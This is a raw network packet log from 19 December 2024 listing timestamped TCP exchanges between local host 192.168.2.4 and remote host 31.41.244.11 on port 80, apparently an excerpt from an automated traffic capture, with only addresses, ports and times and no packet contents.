Dec 19, 2024 20:11:41.693631887 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.693691015 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.693723917 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.693756104 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.694705009 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.694777966 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.694835901 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.694909096 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.695837975 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.695935011 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.696106911 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.696232080 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.696943045 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.697118998 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.697349072 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.697432041 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.698112965 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.698184967 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.698321104 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.698446035 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.699249029 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.699332952 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.700177908 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.700248957 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.700350046 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.700361013 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.700416088 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.700416088 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.701473951 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.701534986 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.701762915 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.701828957 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.702594995 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.702672958 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.702688932 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.702759027 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.703748941 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.703824043 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.703871965 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.704008102 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.704819918 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.704951048 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.705065966 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.705120087 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.705943108 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.706151962 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.706183910 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.706391096 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.707110882 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.707196951 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.707221031 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.707289934 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.708240032 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.708452940 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.708628893 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.708713055 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.709347010 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.709425926 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.709644079 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.709863901 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.710504055 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.710557938 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.710877895 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.710942030 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.711584091 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.711683035 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.711716890 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.711910963 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.712709904 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.712856054 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.713139057 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.713229895 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.713782072 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.713890076 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.713964939 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.714029074 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.714926004 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.715004921 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.715086937 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.715162039 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.716093063 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.716173887 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.716656923 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.716736078 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.717318058 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.717417955 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.717847109 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.718060017 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.718344927 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.718425989 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.718594074 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.718637943 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.719448090 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.719599009 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.720119953 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.720223904 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.720664024 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.720676899 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.720802069 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.721699953 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.721812963 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.722851038 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.723056078 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.723087072 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.723422050 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.724056959 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.724256992 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.724594116 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.724977016 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.725100994 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.725361109 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.725393057 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.725578070 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.726206064 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.726356030 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.859452009 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.859637022 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.859755993 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.859791994 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.859890938 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.859920979 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.860263109 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.860856056 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.860964060 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.860975981 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.861046076 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.862056017 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.862186909 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.862217903 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.862302065 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.863329887 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.863388062 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.863454103 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.864193916 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.864474058 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.865426064 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.865432024 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.865509033 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.865566969 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.865653992 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.866539001 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.866584063 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.866614103 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.866765976 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.867610931 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.867765903 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.867846012 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.868722916 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.868845940 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.868854046 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.868951082 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.869822979 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.870002031 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.870055914 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.870928049 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.871078014 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.871711969 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.871844053 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.872097969 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.872208118 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.872332096 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.872545958 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.873217106 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.873393059 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.874006033 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.874108076 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.874310017 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.874475956 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.874727964 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.874803066 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.875447035 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.875523090 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.876008987 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.876077890 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.876580954 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.876662016 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.876691103 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.876825094 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.877835989 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.877993107 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.878555059 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.878875971 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.878887892 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.878992081 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.879964113 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.880100965 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.880321026 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.880407095 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.881134033 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.881242990 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.881356001 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.881417990 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.882245064 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.882371902 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.882427931 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.882487059 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.883433104 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.883529902 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.883558989 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.883775949 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.884644985 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.884670973 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.885353088 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.885648012 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.885746002 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.885782957 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.885848045 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.886720896 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.886846066 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.886879921 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.887159109 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.887835979 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.887964964 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.888219118 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.888330936 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.888946056 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.889059067 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.889636040 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.889776945 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.890058041 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.890202999 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.890974998 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.891190052 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.891320944 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.891405106 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.891587019 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.891748905 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.892374992 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.892430067 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.892436981 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.892499924 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.893480062 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.894010067 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.894176006 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.894325018 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.894617081 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.894715071 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.894782066 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.894855022 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.895714998 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.895853996 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.895979881 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.896840096 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.896907091 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.897279024 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.897948027 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.898161888 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.898192883 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.898894072 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.899125099 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.899300098 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.899547100 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.899723053 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.900226116 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.900345087 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.900448084 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.901324987 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.901412964 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.901443005 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.902287960 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.902467966 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.902643919 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.902651072 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.902745008 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.903583050 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.903665066 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.903740883 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.903942108 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.904707909 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.904831886 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.904858112 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.905050039 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.905884981 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.906002045 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.906023026 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.906291962 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.906980991 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.907080889 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.907120943 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.907330990 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.908072948 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.908181906 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.908200026 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.908606052 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.909223080 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.909320116 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.909327030 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.909435987 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.910321951 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.910393953 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.910422087 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.910789967 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.911740065 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.911873102 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.911904097 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.912596941 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.912765980 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.912774086 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.912909031 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.913794041 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.913902998 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.914160013 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.914814949 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.915111065 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.915143013 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.915388107 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.915925026 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.916034937 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.916038036 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.916105986 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.917125940 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.917232990 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.917275906 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.917388916 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.918183088 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.918392897 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:42.051898003 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.052038908 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.052076101 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:42.052402973 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.052573919 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:42.052640915 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.052714109 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:42.053534985 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.053709030 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.053740978 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:42.053803921 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:42.054636002 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.054773092 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.054805040 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:42.055764914 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.056027889 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.056066990 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:42.056343079 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:42.057123899 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.057131052 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.057281971 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:42.059577942 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.059586048 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.059592009 CET	80	49842	31.41.244.11	192.168.2.4
